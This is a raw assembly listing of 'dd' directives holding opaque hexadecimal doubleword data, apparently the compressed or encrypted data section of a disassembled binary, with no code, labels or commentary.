dd 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h dd 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h dd 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h, 53458EC0h dd 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh dd 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h dd 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh, 76A73E27h dd 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh dd 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h, 0D449596Ch dd 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h dd 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh dd 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h dd 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh dd 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah dd 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah dd 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h dd 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h dd 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h dd 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh dd 2140410Eh, 31811F0h, 777FF883h, 2C1A903h, 2CF6155Dh dd 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h dd 552609B9h, 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh dd 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h dd 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h dd 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh dd 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh, 6206E52h dd 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h, 2079C642h dd 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h dd 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh dd 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h, 245E4375h dd 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h dd 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh, 0DF6F4C27h dd 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h, 10060h dd 327D0000h, 92EF0000h, 2AB627CBh, 0EF6B68E0h, 2E5F4943h dd 93F176F9h, 0E99AD7F7h, 61BB9D5Dh, 4609979Fh, 0AA4D7417h dd 0A8AE39F5h, 4FFB8D5Dh, 680B7280h, 0C1DF15A1h, 1C4E335Fh dd 5081DB53h, 7C4C3174h, 11774A90h, 68856607h, 738CA3E0h dd 0BA2989A2h, 11B7BDB1h, 9CAAC535h, 0FF0BEE9Eh, 22EBC2E8h dd 0DB5CB23h, 0D555832Bh, 0FFBB67DDh, 0F628E32Fh, 0E7EF1F20h dd 0CA907889h, 59ECB143h, 71F6EAD9h, 4D25D91Ah, 0CFD8C84Fh dd 0A6ECF44Ch, 0CEF500F7h, 0CE9E5942h, 40E63AC9h, 0C0D9AED3h dd 357C149h, 9F9E695Bh, 0BA5BCFB3h, 0FCCD8C8Eh, 8C307597h dd 0B5A3FAEDh, 0E371F84Eh, 0BA81349Ch, 74BF128Fh, 6633F790h dd 8CD63CD2h, 0F320E3FDh, 156AED55h, 0EC20CEC6h, 0E2FD4A25h dd 6D1B190Ch, 55679C33h, 9269B566h, 15F38218h, 5455C783h dd 37EB2DE0h, 1968D304h, 5BCFD93Eh, 61E47CC0h, 0FC85F1E8h dd 262E0683h, 509F4DE9h, 7AAC83FEh, 3B63D714h, 19D81880h dd 0DDBE9E30h, 3D56A017h, 4413513Ch, 798BD1h, 876B8B4Eh dd 5C5F90F3h, 5664BCDCh, 0A608137Dh, 0BF47F124h, 0EF737B70h dd 26A68EC6h, 9DBF190Dh, 9031F9C6h, 7D8AFB2h, 0B39E03CCh dd 6A28E784h, 37D37AA3h, 0CCC53FEDh, 0E94548A9h, 678DD664h dd 548D4102h, 69E3B297h, 81C0A304h, 0E8BA7D1Bh, 0FC7173A4h dd 0E41F9FE2h, 0DB6F2EDCh, 5C648444h, 5EFF5708h, 5E461807h dd 0AA0661C8h, 329AD5E1h, 69EC5074h, 4719801Dh, 0FA2320D7h dd 0BD82AB38h, 505FF204h, 19AFA784h, 962F2EB9h, 5F33650Bh dd 0CAF8FEAFh, 503B9BE8h, 0F7423762h, 6EFF8BD1h, 0C25A00D9h dd 8E0C1F86h, 3A9C7FEAh, 0CC7AECD3h, 0A04A54C5h, 30EB1E95h dd 632DDF14h, 0EBED02C6h, 19F61D81h, 0C5923527h, 0CAEB039Fh dd 4AB61123h, 366FBDB9h, 0B9222EFEh, 0B33F0471h, 0A95F0157h dd 2C41CC2Eh, 276BACEFh, 0E780A43Ah, 6172A632h, 0EEBF8B2Ch dd 1CD8FEC2h, 11D846Fh, 90EF4E4h, 0B17665D4h, 8A1665E8h dd 3E4F9975h, 0F6BAEB22h, 6623B609h, 995BB779h, 9C871CD8h dd 5467AD42h, 0E2CC37D5h, 0EF51357Eh, 0CFD8D4D5h, 0B9F38E6Fh dd 592945BBh, 0F122E187h, 963695Bh, 5886684Ah, 7070F42Ch dd 0D563595Ch, 0DCF5E125h, 0E127A731h, 9E56121Bh, 0B2A5BE4Bh dd 0D83183C6h, 0FB14E17Fh, 0CAC74D5Eh, 0CE30E390h, 21064A36h dd 0DCFEB19Dh, 0E892553Bh, 0B4899E69h, 9CBF9B9Fh, 79D7E127h dd 2BABBB7Ch, 0C8CCADF4h, 0C564FCEBh, 689F680Bh, 0CF260A1Dh dd 9285EDA9h, 0E3CD4D7Ch, 0B2B3E44Dh, 73C1EB99h, 96F83C84h dd 0C6C4049Dh, 6ECA6CCAh, 36C261FDh, 3D380753h, 0E0D6AC84h dd 6ABC2A95h, 1A6CA9A8h, 84DDD6A2h, 526B03EBh, 91B00B1Ah dd 0ADEFBF49h, 0BCFEEE72h, 0A84F31F3h, 4704C6B8h, 0F40A47FFh dd 8742585Ah, 7BA34E1Ah, 89C95939h, 0FB970D5Ch, 8C91F728h dd 0F8F6F6ABh, 0A4AB7576h, 0EFDD4249h, 0A7E38A0Ah, 0BB07142Ch dd 0E423A5B4h, 0ECA4B91Bh, 0E3C09740h, 3093250Ah, 9AC0B96Ch dd 0F14C4C78h, 24FDD7E1h, 0D7209C48h, 0BBCE0F70h, 0E2437CCDh dd 3565A32h, 0AF782C45h, 49201638h, 0AE75FECFh, 0C7A94C31h dd 4FF53632h, 70D55005h, 600B4AA0h, 885BFDF3h, 0E0B24F26h dd 7CC9A6EDh, 39A95B46h, 0AA84F473h, 5F9A4E85h, 35EA5255h dd 0CE319002h, 360C0135h, 915067D7h, 8AB4F1A0h, 828379EFh dd 2CCA6E00h, 7E39B0B3h, 0C01DAECBh, 0B27D2BDAh, 0A3F41B96h dd 322985BDh, 58A93702h, 2E299E23h, 506F18D6h, 51F823F2h dd 42EB38C2h, 6FF3B566h, 95305E1Bh, 1F630DB8h, 0E27727EFh dd 1B4CFAE8h, 0EE0A1219h, 4B06B601h, 0F4771663h, 6D2F1BB2h dd 4FA866F7h, 0E9F9BD71h, 0F08E0DC1h, 2847699Ah, 989C8476h dd 8F5DAB15h, 2A321A85h, 0A45413D2h, 3246DDBFh, 9486CA6Ah dd 49D01401h, 273C532Ch, 1CE0CC39h, 3BA03395h, 0DF2575F8h dd 0F199BD1h, 5E9CF8EFh, 7C587E51h, 0C263CEB3h, 3C37C77Bh dd 2ABA7414h, 22F5E56Ch, 0E319075h, 0DAB007F4h, 802B5E4Bh dd 0CD2504B1h, 597E284Fh, 2F1C9BE5h, 747B1EEEh, 27FDDDFAh dd 0C28B199h, 2B2575AEh, 0EDE30B7Eh, 0ACCCCC87h, 1A00523Bh dd 4D61B723h, 40A4220Eh, 276E8C83h, 3E3F8F4Eh, 0C6E2C945h dd 72A66198h, 0A905A687h, 0FB573ACDh, 2C66F7B3h, 212530A0h dd 59DF2A2h, 6ABBB243h, 81273086h, 0EA4EDB52h, 1CB402B3h dd 0C12DD3D5h, 8AFF2E1Ah, 0ACA542A1h, 575D0DEDh, 487A6521h dd 0EB29687Bh, 703A1586h, 0ECB685DAh, 0F2780EFAh, 644BE70Ch dd 0F7B7768Dh, 0D16B83F1h dd 0BB3AE0E2h, 8997BFD0h, 70644222h, 0E250E5CBh, 4BED62BFh dd 58D0FE29h, 53C8F005h, 0D69C6191h, 57A71E78h, 0E18B0924h dd 237E410Bh, 4681EC61h, 16432872h, 0F60F9BBDh, 5678FF0Ch dd 0B37A9059h, 73EA42D6h, 7A75C75Eh, 2331D68Eh, 331602ACh dd 0C8A6E6BCh, 0EC0227CAh, 2A2BD798h, 44C31564h, 731B325Eh dd 39AF9FC0h, 0D0D1EF58h, 3677C784h, 0D7C95902h, 8D38E068h dd 0AF0CBEC4h, 4A0177A8h, 5648FA24h, 862CE2CDh, 1F4DDB0Bh dd 788AC97h, 6E206CC8h, 1D0E083Ch, 8774C84Eh, 0DC9E0D3Fh dd 41308F79h, 0CB677BDAh, 1B4E6040h, 58D06AA3h, 83C48B3h dd 8CEE620Dh, 0B7DBFEB5h, 3EC255E6h, 0DE338488h, 0ADF58A3h dd 0CAA0EBC6h, 95F10172h, 3B283513h, 0BBB4A7FCh, 7D3B67C1h dd 8DCDA873h, 249D713Ah, 0E2322C71h, 0A037FFA6h, 1E260B97h dd 0B41979C9h, 0EBDE462h, 78A931F6h, 0D27D151Bh, 301DBD4Eh dd 57B74DC4h, 6F122B91h, 7DA11F21h, 5D765BCFh, 0D52180E1h dd 660CDBAAh, 7C00E4AAh, 0E09EC42h, 0B598180Eh, 9C96CB96h dd 1325B6EAh, 0F4EF56C7h, 0D72178F8h, 0FF19053Ah, 0FF13F178h dd 84D2FCF3h, 0A487B2B3h, 565C40D4h, 6135695Fh, 929162C0h dd 0DEF294ABh, 852E2B46h, 5F4A9C3Eh, 15DB6EA0h, 127A0D2Fh dd 20D59CCAh, 9DD6C27Eh, 0C3DD9346h, 14F303D5h, 7BE5033h dd 93B9AEB9h, 43370734h, 5E27831Ch, 0C7FC6389h, 0D027BF54h dd 26BA33B6h, 78E363ADh, 0AE4C5873h, 7121D854h, 0D70D8B66h dd 48EF8C0Ah, 0DF8688E8h, 87AA71A8h, 53F76AAFh, 7C461699h dd 5E0B756Ch, 0D633190h, 0A45A43C2h, 762FB19h, 0C7BA4623h dd 52386E73h, 0CD597FF0h, 0D755170Bh, 1DA34552h, 0EB6420Ch dd 785DCCF7h, 0D0041DD5h, 0E8726EA6h, 0A4E50B8Eh, 9A62860Dh dd 96414273h, 1EA04918h, 52A3F41Bh, 3AEC9F15h, 8E844FACh dd 0ECB2C010h, 9914804Ah, 3B812EF9h, 99F9537h, 0B979957Eh dd 8939FB6Eh, 0D1A308CBh, 60EA75E1h, 656BFB5Ah, 4C3F90ADh dd 7C9D9010h, 90A984EFh, 5933BA18h, 0E6BD3113h, 0B2A2A13Ah dd 78A36B15h, 0B496A84h, 0C744CAFCh, 53F85447h, 0F0B424B1h dd 0A685957Bh, 3ED42236h, 5D8B59ABh, 0BCF24B91h, 832644E8h dd 18D9895Fh, 8F51829Eh, 8F78EA2Fh, 0F9653E84h, 0C37C1EFAh dd 51EDFB3Fh, 4B73A0FDh, 8F88F5BBh, 494117E6h, 0B7773352h dd 0F92716DCh, 0C34F51E4h, 1C02682Dh, 0BFDC68C2h, 74213EB8h dd 0C540E5E8h, 0C0C872C5h, 0A4F74008h, 0ED2A08DEh, 4F0ED6D2h dd 861464D5h, 0D9788155h, 812EDD65h, 41F00DC4h, 1337D511h dd 5EE3E569h, 0C65E1E2Ch, 0D1FF1CF1h, 0B788CD64h, 197E491Ah dd 29AD847Fh, 3A045C37h, 0CCAFEF68h, 5108E2B8h, 51607277h dd 0F429C79Dh, 3EEF68Fh, 0F3932AA3h, 27B43B2Ch, 9981DC94h dd 896EBACDh, 524DD3FCh, 0F8E5220Dh, 599C8066h, 0B748607Dh dd 0AE04D8B8h, 23061AD6h, 0CB433E63h, 998B41C0h, 0D34AFD08h dd 693E706h, 26C73884h, 9EDF8A72h, 5161E399h, 8B2776DAh dd 0ECB2EA86h, 747AFF52h, 0ACD13B53h, 0A9BE6CF1h, 92A5ED5Bh dd 0D3D92AD9h, 2E1A5C88h, 309286BCh, 5AB892E9h, 8F7D7000h dd 8C44C8CCh, 0C3E459B6h, 0DCDC6165h, 8C0BB3A5h, 53367F97h dd 7A000B1Fh, 0BC6F75Ch, 0C8C44C2Eh, 7316CC71h, 455008D8h dd 0E204F663h, 14C6D933h, 0CF792CE2h, 389EE183h, 6DF99AA9h dd 0CDB3219Ah, 0B26E85FEh, 5F9EE27Ch, 85076A1Ah, 2742D642h dd 400F2E10h, 0C693FD73h, 0C76F0CBBh, 426E3E94h, 45E1705Fh dd 5084EDD0h, 27D9EAB2h, 0C34BDFC4h, 98EA52E8h, 2655E68Ah dd 12A2B309h, 32C634D1h, 0E16F28h, 2988CAACh, 0E5F018DBh dd 4D14C7C5h, 0C3691948h, 3C278D8Eh, 68609149h, 0DF848169h dd 0BEFED62h, 39132FBEh, 0C55AE465h, 1A5D0532h, 3E8A8960h dd 9BEE43FCh, 28E71BBBh, 785FA99h, 36CEDB28h, 0E7B7CDBBh dd 342861FBh, 7D2D375Dh, 0AC845CCFh, 90D9C024h, 2C467D39h dd 66D2DF72h, 4721AC96h, 0AB2D16BAh, 0FBEF34C5h, 377FB489h dd 0C30B82E5h, 0AADE09F9h, 0D971DDEh, 0DACF96FAh, 0B9BBBCC9h dd 7CEF16B9h, 57B440D9h, 7F5AB737h, 0B59742Bh, 0E90023BEh dd 0EDCC98Dh, 88636F6Ch, 89F66B0h, 0A8A38135h, 86C0150Ah dd 0B25B260h, 0A3CADF5Ch, 0CEA4E236h, 9B31798h, 0DD76E5F0h dd 0BB3E4649h, 6D65D975h, 0D9A281Dh, 39B0B0A5h, 0D680070Eh dd 41598629h, 0F8CA120Fh, 547BE3F1h, 0AA6A04E3h, 0EAF65EA3h dd 0CC9623B4h, 0FAC13F1Fh, 66294D89h, 6D8BC63Bh, 0BD8A3D2Ch dd 0CD41B7D4h, 91A6D38Fh, 0EFA58815h, 4260D54Bh, 81321AA8h dd 7954F6CCh, 0D86F740Ah, 9E872050h, 3146380Bh, 0AB6AB42Eh dd 310896CFh, 0FF07F76Dh, 0BC550655h, 4203AAC9h, 27D8C257h dd 48E45D01h, 840C2898h, 8085AFF7h, 650C0908h, 0CBC6C60Fh dd 50251D47h, 3833872Dh, 8AE0471Ch, 3601D6ECh, 0E7CD5C07h dd 8E7713B7h, 0BCB617E0h, 0A12B048Bh, 5CB0317h, 4582E942h dd 33007FC3h, 37988967h, 3902B194h, 5E126689h, 42D5BAF7h dd 12CC3478h, 0E9854AC8h, 4285E655h, 56F2B305h, 0F7F84263h dd 40E187CBh, 5621D1F3h, 7A8DD330h, 16459202h, 0E59011E1h dd 0BE509E3Ah, 618EDD0Fh, 450EF808h, 23457E1Bh, 86B4FCCDh dd 0C59EF2DBh, 790F3335h, 0B3B6C264h, 46E80E95h, 0E9559363h dd 214C4952h, 91EDF952h, 0BEDEB4Eh, 0DEDBA888h, 0BF9BDEFEh dd 0AA2461EDh, 849E41Ah, 0C6A5A9C3h, 69886F1Dh, 0BD88C03Fh dd 0CA79BF0h, 0EDB2AB66h, 49E8814Ah, 4D642C0Fh, 59DBB2C7h dd 0A27A0696h, 10E4E686h, 0D755C68Ch, 0FBE3B1Dh, 0B55188D9h dd 0F156C8A3h, 9E11968Ah, 2AE2CBB5h, 4495D7DAh, 644E9A66h dd 6F03E2A1h, 1E6A2A1Ch, 77AFE087h, 20964D40h, 999697C9h dd 13B9BD1Eh, 0C1020D32h, 0A7AAB3EFh, 83C39B36h, 0E4A841Fh dd 0D0E1EC7Ah, 40A033D2h, 34DED00Dh, 0CEB5ED8Fh, 7111C5D1h dd 0EF6594C4h, 1A34A594h, 461D84D2h, 0CF2367C9h, 0BF86018Ah dd 212D0C92h, 4C9E0B68h, 0B40F06B5h, 0D660769Dh, 8D8BB298h dd 9479BF9Ah, 29287712h, 0E6E242F0h, 0AC56B02h, 20810B63h dd 356A7440h, 84B9B80Ah, 0E32EB4DDh, 692FC4FDh, 0DC4F3Dh dd 0CAE7932Eh, 0EC1B66D1h, 0C3B77C4Eh, 56153D4h, 37B1FFE0h dd 3EFC2088h, 7F0AABB1h, 0F64925F2h, 13188ADDh, 65F2A82Fh dd 0E3BB6122h, 0FBE7CE73h, 86ECA47Fh, 5896AD9Bh, 0A130309Ah dd 0AF28313Eh, 18FBAB1Fh, 307C5044h, 0EC3B2B03h, 502C8AC8h dd 3315C6CCh, 72765CF3h, 0B5E187EAh, 0E33DFD1Eh, 2A5F4AE5h dd 812CFDA1h, 0D93FA133h, 0A55BD31Dh, 5B7396B4h, 62EB1786h dd 4F9283B8h, 5D37F5CEh, 6E655C33h, 0BE624E25h, 9AD86C94h dd 7F1683B8h, 15E7B7EEh, 0C4E25845h, 31097A1h, 40314FA5h dd 0C6C0847Fh, 0FF7DC131h, 0DFC1AFC2h, 2B3BB825h, 0E41B8D88h dd 6980A8B6h, 81600B4h, 0BEBEAE49h, 9BA8B34h, 40BBFFFFh dd 1C9AF102h, 5C2B6351h, 59F1DFF5h, 7D36D5A9h, 0BFA47090h dd 20473FC4h, 540EFF6Bh, 0E629AA1Ch, 0FEA38B9Bh, 6C9AF6F7h dd 0CF71DDB9h, 7CC9D3F9h, 498C1A2Eh, 0ACD64F9Bh, 0FC4CF25Dh dd 2C72A7EDh, 594504B7h, 0E226F2D2h, 0E9FB0EB3h, 43FC321Bh dd 5685D08Ch, 0BF231A82h, 0EAB49A09h, 7AACB03Eh, 21BACF75h dd 86AF34E4h, 24C34B26h, 227EEBA7h, 8E6E819Eh, 4E5552D7h dd 3015E027h, 0A4FEDB8Fh dd 0BFF9B211h, 0A3CE0A1Fh, 0AF9AF051h, 0B8D2B525h, 96B47479h dd 0E242B280h, 0E7841784h, 0CA7C340Ah, 6FF2CCCCh, 6AF1D374h dd 0A92C7821h, 0A18AD4E2h, 0ED2F8DAEh, 0FA026FB1h, 0F17656F0h dd 0B4ED38E4h, 0F0CD4B5Fh, 93FA78B6h, 0C568BB10h, 189C95C1h dd 0A52B4162h, 80171625h, 1765276Dh, 0B9130201h, 5F761FBh dd 0D62AFD98h, 433E8FE0h, 0FF160C6h, 0F8BC1822h, 0F51D4542h dd 4E303AEBh, 70A2D3ADh, 39EB9AE3h, 0EE00937Eh, 31E648E1h dd 3C7F9DC4h, 29D29311h, 131303B8h, 85558674h, 12E5144Fh dd 25EC790h, 90304ECEh, 4454BCAFh, 0C6F42550h, 1C635ECCh dd 0DA2DAA26h, 0E9E62E7Bh, 9AE77C31h, 51D9BF69h, 9DD88040h dd 4BF813ABh, 0FCDBB3C3h, 0BE912F6Fh, 0FD77214Dh, 0A27AC53Ch dd 296F4755h, 4435DD7Bh, 0FF677911h, 8620D98Fh, 3934CE01h dd 7BC4E36Ah, 1BB57081h, 0E76C160h, 57532CA3h, 887D79BFh dd 411404DCh, 0C5978E7Eh, 5030073Fh, 0DB3487A9h, 67170283h dd 0C176941Ah, 7299F93Ah, 3EC6E1C7h, 0F4DB6CE4h, 5B4ED847h dd 0AC754C6Dh, 980DD98Eh, 7C6E658h, 53739869h, 0C0A9AE1Dh dd 0C5F53322h, 99617FFFh, 7DB60CF9h, 0DEEAEC7Eh, 0B430665h dd 0F77E0990h, 7CCEB6F7h, 50A9A4BFh, 0CD58E723h, 0C38A7F6Dh dd 0F6B127B7h, 8F8B4F2Dh, 1737BE53h, 5E402CCAh, 8EBED42Ch dd 0EC0461C6h, 1D4C72F6h, 0EBBBA6E5h, 1D9DADF2h, 250C29D1h dd 22E28434h, 2BFC26ACh, 6603428Eh, 2C8B35FAh, 791A5458h dd 0F075C956h, 6C3B10BFh, 0CAA18336h, 0DB368704h, 220FB214h dd 52BD4A3Bh, 8A647559h, 0F32025C0h, 9C1F3A46h, 13745E4Dh dd 2F01E8D0h, 9B903E98h, 55BF4070h, 0FC119AB0h, 6EADC4BBh dd 0D90937CBh, 0CF1BD788h, 0D4CD9BC8h, 0A9DF6865h, 88E8A302h dd 58C1EF52h, 446855D9h, 0EC19E50Ah, 0D0DAE2EDh, 0D19F060Ah dd 0E913FA75h, 0FD85C490h, 5F1C7AA4h, 0AC627E5h, 0CF7DCA02h dd 9C562601h, 2D32EABFh, 0E768C7CBh, 8D5EDEA2h, 4233CE8Ah dd 0DBBAD5F9h, 8A8CB911h, 5DB9C87h, 7C0A1AF1h, 3BFA717Eh dd 2B341096h, 21586FD0h, 16B06DDFh, 0EAD7CFFCh, 980DBFC7h dd 0E5201ABDh, 19CDDB4Dh, 887725B9h, 0E6B61733h, 7AAA541Eh dd 0DBC5EB5h, 85AA44BEh, 7C1116A3h, 7CDB69B4h, 4B21DFB4h dd 0F063F10Ch, 7200406Fh, 0BCB8E700h, 2DD9D653h, 3A4929D1h dd 0F65DF773h, 0CC8A78ACh, 2BC48984h, 1BF3AD2Ah, 0F2D1DAD3h dd 0D7F0304Dh, 0D3D469E6h, 0CB6E409h, 0EE4B5BB4h, 0D6AB6D13h dd 91345AB6h, 890AABDEh, 12A2782Eh, 549F111Ch, 0F0DCEF91h dd 8575CEA9h, 0AE09F307h, 0C1AA347Fh, 3A422C30h, 80CC6399h dd 0FD9D5F1Dh, 7E66E0F9h, 6C88E001h, 0FEC61D16h, 2EBE84B1h dd 15EDF84Fh, 26958612h, 7BF15701h, 5DFB3C66h, 71C4F413h dd 0AD5048E9h, 6D65C547h, 0CC257F82h, 88696243h, 70B7B4FDh dd 0EDC4BCD0h, 0C4AC494Bh, 11669FA0h, 52ACBD99h, 470840EBh dd 0CE409838h, 9C00C118h, 0D42FD8C9h, 7CDD571Fh, 0A3F253C0h dd 251D6A14h, 24CDA7D5h, 6E589D0Dh, 0CE7978E9h, 5FA6B636h dd 0CAFF09EAh, 0FCD14118h, 0EBA417F8h, 4CA9EEE3h, 5E7E16BEh dd 0CC826FAAh, 2DF928C5h, 0F531228Bh, 109263F2h, 3C02E421h dd 2D48E215h, 408C8E19h, 0B8007463h, 0AB6F5AFCh, 70A45B1Fh dd 35CE07Fh, 0A0EC7564h, 10BF870Ah, 91821857h, 0DC3DEE2Ah dd 75BD3AB7h, 1CE6A559h, 6102FB37h, 24BB95D0h, 0E9073751h dd 0C2F3131Eh, 0FBECCA5Fh, 0DE0E83C2h, 0A90DC81Ch, 0AFB61E8Ah dd 0AE1ED5B1h, 1EE99B3Eh, 0B50084AAh, 6CE0CA48h, 4DD87852h dd 5ACAB71Ch, 471EC835h, 22F18843h, 0EE5B6A8Bh, 64385873h dd 8346E8A6h, 15B4D6F6h, 24FF5D1Eh, 759ABD59h, 761074B1h dd 5ED82BE2h, 0DCE8C115h, 8BDA0D90h, 56BBF22Bh, 0C8366647h dd 7936E1Bh, 0A531349Fh, 1D7A28DAh, 3FE8852h, 0FC34DBA3h dd 0F7D48D3Ch, 27DA103Ah, 3EC72C6Bh, 1552C573h, 0EDC85045h dd 77E04C43h, 46B655FEh, 0C60CE1CAh, 0EEE5D516h, 8DA196BCh dd 0CB7FF0DBh, 3A22046Eh, 0D86C7EBEh, 0EFB98395h, 0AA86A1FEh dd 0CBDA5092h, 9CC98115h, 769B5F90h, 0A1A47BA9h, 0A9579246h dd 75B581E9h, 0C167A44h, 1F183CDBh, 328BC03Dh, 787399E6h dd 3EB6F6A7h, 6858EB43h, 0CFC70704h, 8E20DF88h, 67F0BA1Bh dd 0B1376983h, 0A93F8D1h, 81E1D99h, 4C93A025h, 9480F8DCh dd 917880E9h, 0C67F3FF8h, 0CA92B447h, 924EA393h, 452154B6h dd 64EC2E68h, 0BBC58E60h, 1194B76Ah, 43F69F9Eh, 42319D2Bh dd 9976A3Ah, 200C958Dh, 0FE3559D9h, 0FBC6B1F9h, 0B3074897h dd 0AB94A213h, 4A63F79Eh, 374AF46Ch, 0BDABBCECh, 0FF11B288h dd 0D2E08062h, 661A25A8h, 2387FDBh, 0C3FB32DCh, 959BFEA8h dd 2C3E0B69h, 0CA3D64Ch, 58F6AFC4h, 0B245090Dh, 4529E440h dd 0DA6CDB05h, 7DF248A7h, 3A8EA7F5h, 73DFD82Bh, 7B922B53h dd 0B151997Ah, 0C1290D5Bh, 5BDA0D99h, 8186058Fh, 337E4CD0h dd 0DC5A4575h, 86DEC786h, 0C4B6F6A8h, 0EB9BDC66h, 371B1C06h dd 81C6F5D7h, 6CB553C7h, 0A8A1D539h, 7C3E26DEh, 1D5422CCh dd 0DBE7CBAFh, 0BAEE702Ch, 5BB9C74Ch, 1A86D4EDh, 3E18F9AFh dd 5407A918h, 23A94638h, 0D43DE25Bh, 9252768Bh, 73CB8759h dd 11AF8C9h, 4A455E27h, 0EC4C8BD8h, 0BA35347Bh, 0CFF20607h dd 7BF56EAAh, 854575DBh, 0CE8441EAh, 1891839Ah, 0DE3DBD8Eh dd 1617B5F8h, 11B3B9CCh, 25D4E963h, 1BCCB9C0h, 870B3952h dd 98CB00A7h, 4442AB4Dh, 0D7432A88h, 9BFC31B6h, 35EABC58h dd 700FB583h, 84DAF999h, 0B7F1074Ah, 0FEC1B084h, 0C03C3278h dd 268F3EFEh, 0ED91B952h, 0D6358F55h, 9D2EBB3Ah, 26AD9C7Fh dd 0FFE058E7h, 9D6F72F7h, 0C43B58EBh, 0F0B6ED73h, 2434761Bh dd 0C9755BEh, 9CA8F099h, 0E9597AD2h, 95C37390h, 0F9A83A8Ah dd 824C0F20h, 6D59216Ch, 0A75FFFD2h, 8D1BA743h, 36819B9Dh dd 0B712EA52h, 610CF820h, 7E0EAD1Ch, 0A983CEB7h, 9B6E9AF7h dd 952B8D01h, 29AE6303h, 68440F28h, 0C86FC1DFh, 0E5F0CB82h dd 0CA653B63h, 4D21F40Fh, 7BC3F395h, 56085A39h, 0C80DF93Fh dd 930C6D51h, 2DBC87Eh, 0C6C196ABh, 53BF235Ch, 7E687EA7h dd 0A4E1FC60h, 41BD6114h, 490ECD6Eh, 0C7E96DD7h, 3D90989Ch dd 0AB71FE7h, 65A472Eh, 4A812D9Ah, 491FD5BEh, 0C8ABA46Bh dd 8D361DCBh, 0CAD5D797h, 0A29F0361h, 7990F185h, 737AB182h dd 4B63796Dh, 824FAA3Ah, 184CF1E1h, 0A6D4CE41h, 8238E210h dd 3F51E0E8h, 35B28575h, 57ACF77Dh, 2324071Ch, 32020DF0h dd 310F1F7Fh, 99C543AFh, 0F994C887h, 0C282FAE2h, 4141B461h dd 96DAFE09h, 0FE9EFF18h, 7DAD1568h, 8AEB4693h, 297140DBh dd 146588F0h, 209F4403h, 38D03C57h, 0CA1172EEh, 0E23FB25Eh dd 0B75488A4h, 0EA8010CEh, 68102482h, 57363D0Ch, 0AC4064B2h dd 73760A2Ah, 1CE74AB5h, 0E9558E29h, 1AE58C38h, 91A02B77h dd 0CF271F64h, 631EB479h, 9AF1F76h, 9A148706h, 3FA8E59h dd 0AF62BE1Eh, 2FF12B62h, 0DCC5E768h, 16C2F380h, 57180B68h dd 91252EAFh, 40A78F93h, 0AE48055Eh, 889AF3BBh, 7717A993h dd 3E109EF2h, 0FD0FD11Dh, 0E6775BBFh, 9D9142B2h, 7DBACCF0h dd 920E14BAh, 49E8570Ah, 4F964040h, 8822F0FFh, 61DD962Bh dd 0D97F3FF1h, 69A202B8h, 0BE49C3DFh, 0C52045DCh, 65BE4BEDh dd 0C67EE444h, 214FDC98h dd 0CE5F3067h, 5699FEFh, 5D8685BFh, 29E77A6Fh, 491CCC87h dd 0D4DAE511h, 0F47BC589h, 69A5CE7h, 99F99877h, 0B48AE091h dd 0BD695D91h, 5B69A77h, 0ECCA2642h, 0ED7E4271h, 0F6678B33h dd 0DA7E84DFh, 2721433h, 0F42E9D64h, 9C29279Ah, 3E05EB6Dh dd 666D593h, 0D7E028EEh, 0E47AF245h, 0C8B64E70h, 460ECDB7h dd 7610E90Bh, 9A725C8Dh, 3B4C683Ch, 72DD337Ah, 0B3911883h dd 58CD6BDAh, 0D7DEE03Ah, 0B5EFF4CAh, 918899DCh, 4A56426Fh dd 96ED7675h, 96353B28h, 8733D9D7h, 95D1A6FAh, 0FA84B2EBh dd 1DF54EA5h, 97D1CC1Bh, 588B86FDh, 9A51A016h, 0BCBEE3FAh dd 0A2246906h, 8C916C89h, 9AEBE0CCh, 8510FD83h, 0A80F2079h dd 8956CFEEh, 42E1F198h, 5CA2EB6Ah, 137D83A9h, 92320A4h dd 4E951088h, 957133C8h, 66D3A914h, 98ED5D0Dh, 43A0456Eh dd 0B9B3986Eh, 0F3E1B4FEh, 76825F34h, 0C9982714h, 0D803C486h dd 39EA8FA3h, 69DA7BD1h, 0DA8DD779h, 7FB6A4DBh, 9ED4380h dd 862F59ADh, 0AE82652h, 0F9B84BBBh, 0DD36EC44h, 88820C1Ch dd 0CF1C8B2Eh, 818F4C10h, 16F88F07h, 0C8872C90h, 5BD87FF6h dd 0D7492491h, 1665DCEh, 899B60E0h, 3A1FB4F3h, 329125EDh dd 